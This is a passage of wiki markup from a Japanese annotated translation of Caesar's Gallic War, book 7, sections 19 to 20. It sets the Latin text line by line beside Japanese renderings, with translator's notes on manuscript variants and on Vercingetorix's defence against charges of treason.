**&lt;small&gt;（両軍の）&lt;/small&gt;陣地が近接していることを見た者は、
*[[wikt:en:paratus#Latin|paratos]] prope [[wikt:en:aequus#Latin|aequo]] &lt;u&gt;Marte&lt;/u&gt; ad [[wikt:en:dimicandum#Latin|dimicandum]] [[wikt:en:existimaret#Latin|existimaret]], 
**&lt;small&gt;（ガッリア勢がローマ勢に対して）&lt;/small&gt;ほぼ互角の戦い&lt;small&gt;（の条件）&lt;/small&gt;で闘うつもりでいると考えただろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:Mars#Proper_noun_22|Mars]]「戦争の神マールス」ではなく、&lt;br&gt;　　　　　　　　　[[wikt:en:Mars#Noun_4|Mars]]「戦争、闘い」そのものを指す。）&lt;/span&gt;
;　　　ガッリア勢は不利なのに虚勢を張っているのか？
*qui [[wikt:en:iniquitas#Latin|iniquitatem]] [[wikt:en:condicio#Latin|condicionis]] [[wikt:en:perspiceret#Latin|perspiceret]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;条件の不利なことを見通した者は、
*[[wikt:en:inanis#Latin|inani]] [[wikt:en:simulatio#Latin|simulatione]] sese [[wikt:en:ostentare#Latin|ostentare]] [[wikt:en:cognosceret#Latin|cognosceret]]. 
**&lt;small&gt;（ガッリア勢が）&lt;/small&gt;虚栄の見せかけで己を誇示していることを、理解しただろう。
:　
;　　　カエサルが、至近距離の敵への攻撃にいきり立つ将兵らを教え諭す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indignans#Latin|Indignantes]] [[wikt:en:miles#Latin|milites]] Gaesar, 
**カエサルは&lt;small&gt;（ガッリア勢の誇示に）&lt;/small&gt;憤慨している兵士たちに、
*quod [[wikt:en:conspectus#Noun_2|conspectum]] suum hostes &lt;u&gt;perferre&lt;/u&gt; [[wikt:en:possent#Latin|possent]] [[wikt:en:tantulus#Latin|tantulo]] [[wikt:en:spatium#Latin|spatio]] [[wikt:en:interiectus#Latin|interiecto]], 
**──というのも、これほどのわずかな距離しか介在してないのに、敵勢が自分らを&lt;small&gt;（平然と）&lt;/small&gt;見据えていられるためだが──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:perferre#Latin|perferre]] だが、&amp;beta;系写本では [[wikt:en:ferre#Latin|ferre]] となっている。）&lt;/span&gt;
*et signum proelii [[wikt:en:exposcens#Latin|exposcentes]] [[wikt:en:edocet#Latin|edocet]], 
**および戦闘の合図を熱心に求めている者たちに対して&lt;small&gt;（以下のように）&lt;/small&gt;説く。
*[[wikt:en:quantus#Latin|quanto]] [[wikt:en:detrimentum#Latin|detrimento]] et [[wikt:en:quot#Latin|quot]] [[wikt:en:vir#Latin|virorum]] [[wikt:en:fortis#Latin|fortium]] [[wikt:en:mors#Latin|morte]] [[wikt:en:necesse#Adverb|necesse]] sit [[wikt:en:constare#Latin|constare]] [[wikt:en:victoria#Latin|victoriam]]; 
**勝利を確実にすることが、どれほどの損害と、どれほど多くの勇敢な&lt;ruby&gt;&lt;rb&gt;兵士&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの死を必要とするか、を。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　多くのローマ兵が死に瀕すれば、カエサル自身が戦争犯罪で弾劾されるだろう
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; quos cum &lt;u&gt;sic&lt;/u&gt; [[wikt:en:animus#Latin|animo]] [[wikt:en:paratus#Latin|paratos]] [[wikt:en:videat#Latin|videat]], &lt;u&gt;ut&lt;/u&gt; [[wikt:en:nullus#Determiner|nullum]] pro sua [[wikt:en:laus#Latin|laude]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:recusent#Latin|recusent]], 
**彼ら&lt;small&gt;〔兵士たち〕&lt;/small&gt;が己の賞賛のためにいかなる危険をも辞さない心積もりであると&lt;small&gt;（カエサルは）&lt;/small&gt;見て取ったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pro sua laude 「自らの賞賛のために」は、「カエサルの賞賛のために」と解することもできる。&lt;br&gt;　　　　しかし、共和制国家に忠誠を誓っているはずの兵士らが、カエサル個人のために命を投げ出そうとする記述は、&lt;br&gt;　　　　野心家カエサルが軍隊を私兵化しようとしている野望をさらけ出すことになり、政敵たちを利することになる。）&lt;/span&gt;
*[[wikt:en:summus#Latin|summae]] se [[wikt:en:iniquitas#Latin|iniquitatis]] [[wikt:en:condemnari#Latin|condemnari]] [[wikt:en:debere#Latin|debere]], [[wikt:en:nisi#Conjunction|nisi]] eorum [[wikt:en:vita#Latin|vitam]] sua [[wikt:en:salus#Latin|salute]] [[wikt:en:habeat#Latin|habeat]] [[wikt:en:carior#Latin|cariorem]]. 
**&lt;small&gt;&lt;/small&gt;彼ら&lt;small&gt;〔兵士〕&lt;/small&gt;の生命を己&lt;small&gt;〔カエサル〕&lt;/small&gt;の安全より貴重と思わない限り、自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は極度の不正のために告発されるに違いない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：すでにサビーヌスら多くのローマ市民が戦死しており、ここでさらに多くのローマ市民を死なせることは、&lt;br&gt;　　　　カエサルから軍隊を取り上げることを主張していた政敵たちから厳しく糾弾されることになったであろう。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sic [[wikt:en:miles#Latin|milites]] [[wikt:en:consolatus#Latin|consolatus]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;このように兵士たちを&lt;ruby&gt;&lt;rb&gt;宥&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;めて、
*eodem die [[wikt:en:reducit#Latin|reducit]] in castra 
**同日に陣営の中に連れ戻して、
*[[wikt:en:reliquus#Latin|reliqua]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae ad [[wikt:en:oppugnatio#Latin|oppugnationem]] &lt;u&gt;[[wikt:en:pertinebant#Latin|pertinebant]] [[wikt:en:oppidum#Latin|oppidi]]&lt;/u&gt; [[wikt:en:administrare#Latin|administrare]] [[wikt:en:instituit#Latin|instituit]].
**城塞都市&lt;small&gt;〔アウァーリクム〕&lt;/small&gt;の攻略に関わっているほかのことに従事することを決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･B･M･S写本では pertinebant oppidi の語順だが、&lt;br&gt;　　　　　　　　　L･N･β系写本では oppidi pertinebant の語順となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===20節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/20節]]　{{進捗|00%|2026-05-04}}&lt;/span&gt;
;ウェルキンゲトリークスが味方に弁明し、捕虜に問い質す
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], cum ad suos [[wikt:en:redisset#Latin|redisset]], [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatus#Latin|insimulatus]],
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、味方のもとに戻った際に、&lt;small&gt;（以下のことで）&lt;/small&gt;裏切りだと非難されていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、[[wikt:en:quod#Conjunction|quod]] ～ で箇条書き。）&lt;/span&gt;
*quod [[wikt:en:castra#Latin|castra]] [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:movisset#Latin|movisset]], 
**陣営をローマ人たちのより近くに移動させていたこと、
*quod cum omni [[wikt:en:equitatus#Noun|equitatu]] [[wikt:en:discessisset#Latin|discessisset]], 
**全[[w:騎兵|騎兵隊]]とともに&lt;small&gt;（陣営を）&lt;/small&gt;離れていたこと、
*quod sine [[wikt:en:imperium#Latin|imperio]] [[wikt:en:tantus#Latin|tantas]] [[wikt:en:copiae#Latin|copias]] [[wikt:en:reliquisset#Latin|reliquisset]], 
**司令権&lt;small&gt;（を持つ者）&lt;/small&gt;なしに、これほど多くの軍勢を置き去りにしていたこと、
*quod eius [[wikt:en:discessus#Noun|discessu]] [[wikt:en:Romani#Latin|Romani]] [[wikt:en:tantus#Latin|tanta]] [[wikt:en:opportunitas#Latin|opportunitate]] et [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:venissent#Latin|venissent]]; 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の退去によりローマ人がこれほどの好機とこれほどの迅速さでやって来ていたこと、である。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; non haec omnia [[wikt:en:fortuito#Latin|fortuito]] aut sine [[wikt:en:consilium#Latin|consilio]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:potuisse#Latin|potuisse]]; 
**──これらすべてが偶然に、あるいは謀りごとなしに起こることはあり得なかったのだ。
*[[wikt:en:regnum#Latin|regnum]] illum Galliae &lt;u&gt;malle&lt;/u&gt; Caesaris [[wikt:en:concessus#Noun|concessu]] &lt;u&gt;quam&lt;/u&gt; ipsorum habere [[wikt:en:beneficium#Latin|beneficio]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は&lt;small&gt;（ガッリア人）&lt;/small&gt;自身の厚遇を得ることよりもむしろカエサルの許しにより[[w:ガリア|ガッリア]]の王権&lt;small&gt;（を持つこと）&lt;/small&gt;を好んでいるのだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:malle#Latin|malle]] ～ quam …「…よりも、むしろ～を好む（選ぶ）」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ウェルキンゲトリークスが王権を望むあまり、同盟部族の生命をカエサルに売り渡したということである。）&lt;/span&gt;
[[画像:Vercingetorix_stater_n2_CdM_alternate.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
:　
;　　　━━ウェルキンゲトリークスの弁明が始まる━━
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:talis#Latin|tali]] [[wikt:en:modus#Latin|modo]] [[wikt:en:accusatus#Latin|accusatus]] 
**こんな風に非難されて、
*ad haec [[wikt:en:respondit#Latin|respondit]]: 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらのことへ答えた。
*Quod [[wikt:en:castra#Latin|castra]] [[wikt:en:movisset#Latin|movisset]], 
**陣営を移動させていたことは、
*[[wikt:en:factus#Latin|factum]] [[wikt:en:inopia#Latin|inopia]] [[wikt:en:pabulum#Latin|pabuli]], 
**[[w:糧秣|糧秣]]の欠乏によりなされたのであり、
*etiam ipsis [[wikt:en:hortans#Latin|hortantibus]]; 
**&lt;small&gt;（ガッリア人たち）&lt;/small&gt;自身が熱心に勧めることさえしているのだ。
*quod [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:accessisset#Latin|accessisset]], 
**ローマ人たちのより近くに近寄っていたことは、
*[[wikt:en:persuasus#Latin|persuasum]] loci [[wikt:en:opportunitas#Latin|opportunitate]], qui se &lt;u&gt;ipsum&lt;/u&gt; [[wikt:en:munitio#Latin|munitione]] [[wikt:en:defenderet#Latin|defenderet]]; 
**&lt;small&gt;（移動先の丘陵が）&lt;/small&gt;それ自体を&lt;small&gt;（沼地という天然の）&lt;/small&gt;要害により守っているという地の利に納得させられたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上記の se &lt;u&gt;ipsum&lt;/u&gt; munitione defenderet 「そのものを防御物によって守る」は主要写本 &amp;omega; の記述で、&lt;br&gt;''[[ガリア戦記/注解編/写本と校訂版#Bentley,_Thomas|Th. Bentley]]'' は se &lt;u&gt;ipse sine&lt;/u&gt; munitione defenderet 「そのものが防御物なしで守る」と修正提案している。）&lt;/span&gt;
:　
;　　　騎兵は、湿地帯での任務に適していない
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eques#Latin|equitum]] vero [[wikt:en:opera#Latin|operam]] 
**騎兵たちの働きはまさに、
*neque in loco [[wikt:en:paluster#Latin|palustri]] [[wikt:en:desiderari#Latin|desiderari]] [[wikt:en:debuisse#Latin|debuisse]] 
**沼沢地において望まれるべきものではなかったし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：湿地・沼地では、ぬかるみに馬の足が取られるため、&lt;br&gt;　　　　騎兵の長所である機動力が著しく低下し、&lt;br&gt;　　　　速さを活かした偵察・突撃・迂回・追撃などがし難くなる。）&lt;/span&gt;
*et [[wikt:en:illic#Adverb|illic]] fuisse [[wikt:en:utilis#Latin|utilem]], quo sint [[wikt:en:profectus#Participle_2|profecti]]. 
**&lt;small&gt;（騎兵たちが）&lt;/small&gt;発って行ったところにおいては有効だったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#16節|16節]]冒頭の説明によれば、&lt;br&gt;　　　　ウェルキンゲトリークスが最初に宿営した場所は、&lt;br&gt;　　　　アウァーリクムから16マイル離れ、沼地や森林に守られていた。&lt;br&gt;　　　　[[#19節|19節]]では、より近い、沼地に囲まれたゆるやかな丘陵に移動したという。&lt;br&gt;　　　　この移動前後の地勢の優劣を、カエサルは必ずしも明瞭に説明していない。）&lt;/span&gt;
:　
;　　　兵は拙速を尊ぶ
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:summa#Latin|Summam]] [[wikt:en:imperium#Latin|imperii]] 
**&lt;small&gt;（軍勢の）&lt;/small&gt;最高司令権は、
*se [[wikt:en:consulto#Adverb|consulto]] [[wikt:en:nullus#Latin|nulli]] [[wikt:en:discedens#Latin|discedentem]] [[wikt:en:tradidisse#Latin|tradidisse]], 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自らが意図的に、立ち去るに当たって、誰にも委託しなかった。
*[[wikt:en:ne#Latin|ne]] is [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:studium#Latin|studio]] ad [[wikt:en:dimicandus#Latin|dimicandum]] [[wikt:en:impelleretur#Latin|impelleretur]]; 
**その者が大勢の熱意によって&lt;small&gt;（ローマ人と）&lt;/small&gt;闘うことに駆り立てられないように、である。
*cui rei &lt;u&gt;propter animi [[wikt:en:mollities#Latin|mollitiem]]&lt;/u&gt; [[wikt:en:studere#Latin|studere]] omnes [[wikt:en:videret#Latin|videret]], 
**その事&lt;small&gt;〔闘って決着を付けること〕&lt;/small&gt;を、&lt;u&gt;心の柔弱さのゆえに&lt;/u&gt;、皆が求めたがっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「心の柔弱さのゆえに、闘いがしたくなる」というのは、&lt;br&gt;　　　　一見すると奇妙に感じられるが、ここでの柔弱さ（[[wikt:en:mollities#Latin|mollities]]）とは、&lt;br&gt;　　　　長期の攻囲戦の労苦や疲弊に持ちこたえる忍耐力のなさを指し、&lt;br&gt;　　　　長い苦難から逃避するために早期決戦を志向する心理を意味すると考えられる。）&lt;/span&gt;
*quod [[wikt:en:diutius#Latin|diutius]] [[wikt:en:labor#Latin|laborem]] ferre non [[wikt:en:possent#Latin|possent]]. 
**──というのは、&lt;small&gt;（兵は）&lt;/small&gt;より長く&lt;small&gt;（攻囲戦の）&lt;/small&gt;労苦に耐えることができないからだ──。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[w:孫子 (書物)|孫子]]に曰く「兵は拙速を聞くも、未だ巧の久しきを&lt;ruby&gt;&lt;rb&gt;睹&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;み&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ざるなり」&lt;ref&gt;[[wikt:en:故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり|故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり]]
「戦争というものは、拙劣に短期決戦を挑んだ事例は聞くが、巧妙に長期戦を続けた事例は聞かない」の意。長い戦争は人々を消耗させ、疲弊させてしまう。&lt;/ref&gt;）&lt;/span&gt;
:　
;　　　ローマ人は、闘わずに退却したではないか
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Romani si [[wikt:en:casu#Latin|casu]] [[wikt:en:intervenerint#Latin|intervenerint]], [[wikt:en:fortuna#Latin|fortunae]], 
**もしローマ人たちが偶然に現われたのならば、命運に&lt;small&gt;（感謝するべきであり）&lt;/small&gt;、
*si [[wikt:en:alicuius#Latin|alicuius]] [[wikt:en:indicium#Latin|indicio]] [[wikt:en:vocatus#Latin|vocati]], huic [[wikt:en:habendus#Latin|habendam]] [[wikt:en:gratia#Latin|gratiam]], 
**もし&lt;small&gt;（ローマ人たちが）&lt;/small&gt;何者かの申し立てに呼ばれて来たのならば、その者に感謝するべきだ。
*quod &lt;u&gt;et&lt;/u&gt; [[wikt:en:paucitas#Latin|paucitatem]] eorum ex loco [[wikt:en:superior#Latin|superiore]] [[wikt:en:cognosco#Latin|cognoscere]] 
**──というのは、より高い位置から彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;の少なさを知ることも、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:virtus#Latin|virtutem]] [[wikt:en:despicio#Latin|despicere]] [[wikt:en:potuerint#Latin|potuerint]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;武勇とやらを見下すこともできたのだから。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～も…も」）&lt;/span&gt;
*qui [[wikt:en:dimico#Latin|dimicare]] non [[wikt:en:ausus#Participle|ausi]] 
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;は闘うことをあえてせずに、
*[[wikt:en:turpiter#Latin|turpiter]] se in castra [[wikt:en:receperint#Latin|receperint]]. 
**見苦しくも陣営に退却したのだ──。
:　
;　　　ガッリア人が勝つのだから、カエサルに寝返るはずがない
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:imperium#Latin|Imperium]] se &lt;u&gt;ab&lt;/u&gt; Caesare per [[wikt:en:proditio#Latin|proditionem]] [[wikt:en:nullus#Latin|nullum]] [[wikt:en:desidero#Latin|desiderare]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、カエサルから裏切りを通じて、どのような司令権も望んではいない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の (2) 項では、味方のガッリア人たちは、ウェルキンゲトリークスが&lt;br&gt;　　　　カエサルにより [[wikt:en:regnum#Latin|regnum]]（王権、支配権）を得ようとしていると非難したのに対し、&lt;br&gt;　　　　彼は [[wikt:en:imperium#Latin|imperium]]（軍隊司令権、または支配権）という言葉を巧妙に引きずって答えている。&lt;br&gt;　　　　もちろん、言葉を変えたのは、筆者カエサル自身であろう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は&amp;alpha;系写本の記述で、&amp;beta;系写本では a となっている。）&lt;/span&gt;
*quod habere [[wikt:en:victoria#Latin|victoria]] [[wikt:en:posset#Latin|posset]],
**&lt;small&gt;（支配権は、ローマ人に対する）&lt;/small&gt;勝利によって得られるものであり、
*quae iam esset sibi atque omnibus [[wikt:en:Galli#Latin|Gallis]] [[wikt:en:exploratus#Latin|explorata]]; 
**&lt;small&gt;（勝利は）&lt;/small&gt;もはや自分とすべてのガッリア人にとって確実なものとされているのだ。
*quin etiam ipsis &lt;u&gt;remittere&lt;/u&gt;, 
**いやそればかりか&lt;small&gt;（以下の様であれば、ガッリア人たち）&lt;/small&gt;自身に&lt;small&gt;（司令官職を）&lt;/small&gt;返還しているだろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:remitto#Latin|remittere]] は、写本Sの記述および&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Stephanus_(Estienne)|Stephanus]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Vascosanus|Vascosanus]]'' による修正提案で、&lt;br&gt;　　　　　　　　　&amp;beta;系・&amp;chi;系写本･写本B･M･L･N では [[wikt:en:remitteret#Latin|remitteret]] となっている。）&lt;/span&gt;
*si sibi &lt;u&gt;magis&lt;/u&gt; [[wikt:en:honor#Latin|honorem]] [[wikt:en:tribuo#Latin|tribuere]], &lt;u&gt;quam&lt;/u&gt; ab se [[wikt:en:salus#Latin|salutem]] [[wikt:en:accipio#Latin|accipere]] [[wikt:en:videantur#Latin|videantur]]. 
**もし&lt;small&gt;（ガッリア人が）&lt;/small&gt;自分から安全を受け取っているよりも、むしろ顕職を自分に授けていると思っているのならば、だが。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:magis#Latin|magis]] ～, quam …「…というよりは、むしろ～」）&lt;/span&gt;
:　
;　　　捕虜のローマ人たちに訊いてみなさい
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec ut [[wikt:en:intellegatis#Latin|intellegatis]], &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me [[wikt:en:sincere#Latin|sincere]] [[wikt:en:pronuntiari#Latin|pronuntiari]], [[wikt:en:audite#Latin|audite]] [[wikt:en:Romanus#Adjective|Romanos]] [[wikt:en:miles#Latin|milites]]. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**「これらは諸君が理解しているように、私により率直に示された。ローマ兵たちに聞いてみよ」と言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; [[wikt:en:producit#Latin|Producit]] [[wikt:en:servus#Latin|servos]], quos in [[wikt:en:pabulatio#Latin|pabulatione]] paucis ante diebus [[wikt:en:exceperat#Latin|exceperat]] et [[wikt:en:fames#Latin|fame]] [[wikt:en:vinculum#Latin|vinculis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:excruciaverat#Latin|excruciaverat]]. 
**数日前に糧秣徴発しているのを&lt;small&gt;（彼が）&lt;/small&gt;ひっ捕らえて、飢えと鎖で拷問していたところの奴隷たちを引き出す。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:calo#Noun_5|cālō]] カーロー（軍属奴隷）と呼ばれる輜重や陣営を管理する奴隷たちのことであろう。）&lt;/span&gt;
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Hi iam ante [[wikt:en:edoctus#Latin|edocti]], quae [[wikt:en:interrogatus#Latin|interrogati]] [[wikt:en:pronuntiarent#Latin|pronuntiarent]], 
**彼ら&lt;small&gt;〔奴隷〕&lt;/small&gt;は、すでに前もって&lt;small&gt;（ガッリア勢から）&lt;/small&gt;訊問された際に語ることを&lt;small&gt;（ローマ人から）&lt;/small&gt;教え込まれており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは奴隷たちが誰に教え込まれたのか明記していないため、&lt;br&gt;　　　　ウェルキンゲトリークスに教え込まれたと訳している場合もある。）&lt;/span&gt;
*[[wikt:en:miles#Latin|milites]] se esse [[wikt:en:legionarius#Latin|legionarios]] [[wikt:en:dicunt#Latin|dicunt]]; 
**自分たちは[[w:軍団兵|軍団兵]]であると言った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：糧秣徴発に出かけていた者は、たとえ軍団兵でも軽装であったであろうが、&lt;br&gt;　　　　奴隷たちは、もともと戦争で捕虜になったガッリア人たち等であったと考えられるので、&lt;br&gt;　　　　地中海人種のローマ人とは容易に見分けが付きそうなものではある。）&lt;/span&gt;
*[[wikt:en:fames#Latin|fame]] &lt;u&gt;et&lt;/u&gt; [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:adductus#Latin|adductos]] [[wikt:en:clam#Latin|clam]] ex castris [[wikt:en:exisse#Latin|exisse]], si [[wikt:en:aliquis#Latin|quid]] [[wikt:en:frumentum#Latin|frumenti]] aut [[wikt:en:pecus#Latin|pecoris]] in agris [[wikt:en:reperio#Latin|reperire]] [[wikt:en:possent#Latin|possent]]; 
**&lt;small&gt;（奴隷たち曰く）&lt;/small&gt;飢えと欠乏に動かされて、何か穀物または家畜が野に見出せないかと、ひそかに陣営から抜け出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は&amp;alpha;系写本の記述で、&amp;beta;系写本では atque となっている。）&lt;/span&gt;
:　
*&lt;!--⓫--&gt;&lt;sup&gt;(11)&lt;/sup&gt; [[wikt:en:similis#Latin|simili]] omnem [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:premi#Latin|premi]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;全軍隊が同様の欠乏に悩まされて、
*&lt;u&gt;nec&lt;/u&gt; iam [[wikt:en:vis#Latin|vires]] [[wikt:en:sufficio#Latin|sufficere]] [[wikt:en:quisquam#Latin|cuiusquam]] &lt;u&gt;nec&lt;/u&gt; ferre [[wikt:en:opus#Latin|operis]] [[wikt:en:labor#Latin|laborem]] posse; 
**もはや&lt;small&gt;（兵士の）&lt;/small&gt;誰もが十分な能力がなく、&lt;small&gt;（城攻めの）&lt;/small&gt;作業の労苦に耐えることができない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec ～ nec …「～でもなく、…でもない」）&lt;/span&gt;
*itaque [[wikt:en:statuisse#Latin|statuisse]] [[wikt:en:imperator#Latin|imperatorem]], si [[wikt:en:nihil#Latin|nihil]] in [[wikt:en:oppugnatio#Latin|oppugnatione]] oppidi &lt;u&gt;profecissent&lt;/u&gt;, [[wikt:en:triduum#Latin|triduo]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:deduco#Latin|deducere]]. 
**こうして将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;は、もし城塞都市の攻略において何ら得られないならば、3日間で軍隊を連れ帰ると決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本S･L･Nでは [[wikt:en:profecissent#Latin|profecissent]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;複数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:profecisset#Latin|profecisset]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;単数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; となっており、&lt;br&gt;　　　　　　　　　&amp;chi;系および写本B･Mでは proficissent という綴りになっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--⓬--&gt;&lt;sup&gt;(12)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
